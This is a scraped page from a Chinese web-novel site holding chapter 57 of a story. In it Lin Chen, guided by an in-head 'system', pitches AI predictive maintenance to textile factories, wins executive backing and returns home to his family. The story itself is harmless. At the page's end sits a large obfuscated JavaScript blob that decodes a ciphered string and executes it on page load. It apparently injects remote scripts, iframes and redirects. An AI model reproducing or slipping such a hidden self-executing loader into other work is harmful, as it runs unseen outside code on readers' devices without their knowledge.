首页
[切换至繁体版]
返回

第57章 战略级新战场

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

问题很刁钻,直指AI在工业场景落地的核心矛盾:经验vs数据。
    林辰没有直接回答,而是反问:“孙总,您厂里上个月,细纱机A-07号车,是不是在凌晨三点左右突然停机?故障原因是主轴轴承磨损,但之前没有任何预警,导致那批纱全废了,损失大概八万块?”
    孙总工愣了一下:“你怎么知道?”
    “我看过你们发过来的历史维修记录。”林辰调出一张图表,“不止这一次。过去一年,你们厂因为突发故障导致的非计划停机,有二十七次,平均每次损失五万,加起来一百三十五万。如果能提前二十四小时预警,这些损失大部分可以避免。”
    “预警?怎么预警?”
    “用数据。”林辰切换屏幕,展示出系统生成的算法示意图,“机器运行时的振动、温度、电流、压力,这些数据里藏着故障的早期信号。只是人眼看不出来,但AI能看出来。我们不需要比老师傅准,我们只需要在老师傅察觉之前,先发现异常。”
    (本章未完,请点击下一页继续阅读)第57章战略级新战场(第2/2页)
    孙总工沉默了一会儿,然后说:“那你看看我们这台细纱机。”
    他调整摄像头,对准车间里一台正在运行的机器。机器轰鸣,纱锭飞转。
    “就这台,你看它现在有什么问题?”
    这是现场考试了。
    林辰看向屏幕上的实时数据流——系统已经接入了这台机器的传感器数据。振动频谱、温度曲线、电流波形……几十个参数在屏幕上滚动。
    “系统,实时分析。”
    【收到。数据分析中……振动频谱在800Hz处有异常谐波,幅度持续上升;主轴温度比同工况其他机器高2.3℃;电流波形有周期性毛刺。综合判断:主轴轴承存在早期磨损,建议在未来7-10天内安排检修。】
    林辰抬起头,看向屏幕里的孙总工。
    “孙总,这台细纱机的主轴轴承,应该有点问题了。振动不太对,温度也偏高。虽然现在还能用,但建议一周内安排检查一下。如果继续跑,可能撑不过十天。”
    孙总工的表情变了。
    他盯着林辰看了几秒,然后转身对车间里喊:“小张!把A-09号车停了!叫维修班过来,拆主轴轴承看看!”
    视频会议没挂,但孙总工走开了。屏幕里传来嘈杂的人声、工具碰撞声、机器停止运转的闷响。
    二十分钟后,孙总工重新出现在镜头前,手里拿着一个轴承。轴承外圈上,已经能看到细微的磨损痕迹。
    “林总,”他声音有些发颤,“真让你说中了。磨损还不太严重,但确实已经开始有了。如果没发现,再跑一个星期,估计就得抱瓦了。”
    他放下轴承,看着林辰,眼神完全变了。
    “你这个AI……有点东西。行,我们厂,给你们做试点。需要什么数据,尽管说。需要人配合,我亲自安排。”
    “谢谢孙总信任。”林辰说。
    视频会议结束后,B组办公区里响起压抑的欢呼声。首战告捷,而且是这种“现场打脸”式的胜利,对士气的提升是巨大的。
    但林辰没时间庆祝。
    “第一家工厂的数据清洗完了吗?基线模型训练进度?”
    “清洗完了,模型在训练,预计晚上八点出结果。”
    “好。第二家工厂的历史数据分析报告,今天下班前我要看到初稿。”
    “已经在写了。”
    “第三家……不,现在是我们第一家正式试点工厂了。跟他们对接,明天就派人过去部署数据采集设备。要快,我们要在两周内,做出第一个可演示的预测案例。”
    命令一个接一个下达,团队重新进入高速运转状态。
    林辰坐回工位,看着屏幕上三家工厂的数据流。系统界面在视野边缘展开,显示着项目的整体进度:
    【纺织机械预测性维护项目】
    【当前状态:试点启动】
    【合作工厂:3家】
    【数据接入进度:67%】
    【基线模型训练进度:45%】
    【核心风险:传感器数据质量、工厂配合度、算法泛化能力】
    【预估成功概率:71.3%(较上周上升12%)】
    71.3%。
    还不够。
    他需要更高的成功率,更快的进展,更惊艳的效果。
    因为三个月倒计时,已经开始。
    4
    四周后。
    星河科技大会议室,第三次项目进展汇报。
    这次参会的人更多。除了陈明远和销售、市场负责人,还有CTO张涛、几个核心产品总监,甚至CFO刘薇也来了——她是被陈明远拉来“把关”预算的。
    林辰站在投影幕布前,激光笔的红点落在最新数据上。
    “过去四周,我们在三家试点工厂完成了数据采集和基线模型部署。这是第一家工厂,也就是孙总那里的细纱机预测结果。”
    屏幕上出现一张图表,横轴是时间,纵轴是“预测风险评分”。图表上标注了三个红色的箭头,分别指向三个时间点。
    “这是我们系统预测出的三个**险时间点。”林辰说,“第一次,10月28日,系统预警A-09号车主轴轴承磨损。工厂及时检修,避免了一次非计划停机。第二次,11月5日,预警B-03号车齿轮箱异常,检查发现润滑油杂质超标。第三次,昨天,11月12日,预警C-07号车电机温度异常,原因还在排查,但工厂已经停机检查。”
    他切换下一张图,是三个预警事件的经济效益分析。
    “三次预警,为这家工厂避免了:一次非计划停机(损失8万),一次齿轮箱损坏(更换成本5万),以及可能的电机烧毁(损失15万以上)。总共避免损失至少28万。而我们的服务,如果按年费计算,是12万。投入产出比超过2:1。”
    会议室里很安静,只有空调出风口的声音。
    陈明远脸色不太好看,但没说话。
    刘薇推了推眼镜,问:“这是单家工厂的数据,有代表性吗?”
    “有。”林辰又切换一张图,是三家工厂的汇总数据,“过去四周,三家工厂总共产生预警17次,经工厂确认有效的15次,误报2次,准确率88.2%。避免的直接经济损失预估在80万-120万之间。平均每家工厂每周产生1.2次有效预警,平均单次预警避免损失5-7万。”
    数字很扎实。
    刘薇点点头,不再说话。
    “所以,”林辰总结,“从技术可行性上讲,AI预测性维护在纺织机械领域是成立的。从经济性上讲,投入产出比是正的。从客户接受度上讲,三家试点工厂都表示愿意继续合作,其中两家已经主动询问正式合作的价格。”
    他停顿了一下,目光扫过全场。
    “我的建议是:项目从试点阶段,进入小规模推广阶段。目标是在未来两个月内,签约至少十家付费客户,形成可复制的商业模式。为此,我需要公司提供三方面支持:第一,组建专门的销售支持团队,协助工厂部署和培训;第二,开放部分市场预算,用于行业会议和客户案例宣传;第三,给我追加三百万预算,用于算法优化和产品化封装。”
    “三百万?”陈明远终于忍不住了,“林总,你之前可是答应了两百万预算做试点的。现在试点还没结束,就要追加预算,这不合适吧?”
    “陈总,试点已经证明了价值。”林辰看着他,“追加预算,是为了放大价值。如果现在不投入,等竞争对手反应过来,这个市场我们就抢不到了。”
    “竞争对手?哪来的竞争对手?”
    “系统,调出竞品动态。”
    林辰在脑海里下令,同时嘴里说着:“据我了解,云图科技虽然去年失败了,但今年又重新组建了工业AI团队,也在看预测性维护这个方向。还有几家创业公司,比如‘智造未来’、‘工数科技’,都已经拿到了融资,正在快速扩张。这个窗口期,可能只有六到九个月。”
    屏幕上适时出现了几份竞品分析报告,都是系统实时生成的,数据详实,来源清晰。
    陈明远盯着屏幕,哑口无言。
    “林总的判断,我同意。”一直沉默的CTO张涛开口了,“技术上,这个方向确实可行。市场上,现在切入正是时候。我支持进入推广阶段。”
    “我也支持。”刘薇说,“从财务角度看,这个项目的ROI(投资回报率)是正向的,风险可控。追加三百万预算,可以接受。”
    两个核心高管表态,风向就定了。
    陈明远深吸一口气,强压怒火:“既然张总和刘总监都支持,那我也没有意见。但林总,丑话说在前头,两个月,十家付费客户,这是你承诺的。如果做不到,到时候可就不是停项目这么简单了。”
    “我明白。”林辰平静地说,“如果做不到,我引咎辞职。”
    又立军令状了。
    会议室里所有人都看向林辰,眼神复杂。有佩服,有担忧,也有等着看好戏的。
    但林辰不在乎。
    因为他知道,这个赌局,他赢定了。
    系统界面在视野中闪烁:
    【支线任务:开拓新业务线】
    【当前进度:试点验证通过(40%)】
    【下一阶段:小规模推广(目标:10家付费客户)】
    【任务奖励:行业解决方案专家(初级)、销售赋能模块解锁】
    【失败惩罚:主线任务进度-30%】
    赢定了。
    5
    深夜十一点,林辰最后一个离开公司。
    电梯下行时,他靠在轿厢壁上,闭上眼睛。连续四周的高强度工作,即使有系统的“深度修复”,身体也感到了明显的疲惫。太阳穴一抽一抽地疼,胃里空荡荡的,但没什么食欲。
    手机震动,是苏雨晴发来的微信:“还在公司?”
    “刚下班,马上回。”
    “给你炖了汤,保温着。”
    “好。”
    简单的对话,但温暖。
    林辰走出大厦,秋夜的冷风扑面而来,让他精神一振。路边拦了辆出租车,报出地址后,他靠在座椅上,看着窗外掠过的城市灯火。
    手机又震了,这次是系统提示:
    【检测到宿主近期高强度工作,身体疲劳度:72%(黄色预警)】
    【建议:立即启动深度修复(8小时),并调整未来一周工作节奏】
    【另:AI+制造业项目已进入正轨,可适当放权给核心团队成员,聚焦战略决策】
    放权。
    林辰看着这两个字,陷入思考。
    过去一个月,他事无巨细地抓,从技术方案到客户沟通,从团队管理到预算争取。这是项目启动期的必要,但也确实让他透支严重。
    是时候改变管理模式了。
    王海清可以负责技术推进,李浩可以负责数据工程,新招的销售负责人可以负责客户拓展。他需要做的,是把握大方向,解决关键问题,协调核心资源。
    就像下棋,开局阶段要亲自落子,中盘之后,要学会让棋子自己走。
    出租车停在小区门口。林辰付钱下车,走进熟悉的楼道。声控灯一层层亮起,又一层层熄灭。
    开门时,客厅的灯还亮着。苏雨晴窝在沙发上看书,听见动静抬起头。
    “回来了。”她起身走向厨房,“汤还热着,我给你盛。”
    “我自己来。”林辰换鞋,脱外套,“孩子们都睡了?”
    “嗯,九点就睡了。爸妈也刚睡下。”
    林辰走进厨房,苏雨晴已经盛好汤放在餐桌上。山药排骨汤,熬得奶白,香气扑鼻。他坐下,舀了一勺送进嘴里,温热的汤汁顺着食道滑下去,整个胃都舒服了。
    苏雨晴坐在对面,静静看着他喝汤。
    “今天怎么样?”她问。
    “还行,项目推进顺利。”
    “你脸色不好。”
    “累了点,没事。”
    苏雨晴没再追问,只是说:“别太拼。钱是赚不完的。”
    “知道。”林辰喝完汤,放下碗,“但有时候,不是钱的事。”
    “那是什么?”
    “是……想证明点什么。”林辰看着她,“证明三十五岁被裁,不是末日。证明上有老下有小,不是借口。证明只要不放弃,就还有翻盘的可能。”
    苏雨晴眼睛红了。她伸出手,握住林辰的手。
    “你已经证明了。”她轻声说,“在我心里,你早就证明了。”
    林辰反握住她的手,用力捏了捏。
    “还不够。”他说,“我要证明给所有人看。给那些裁我的人看,给那些看我笑话的人看,给这个觉得三十五岁就该认命的世界看。”
    他的声音很平静,但眼里有火在烧。
    苏
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();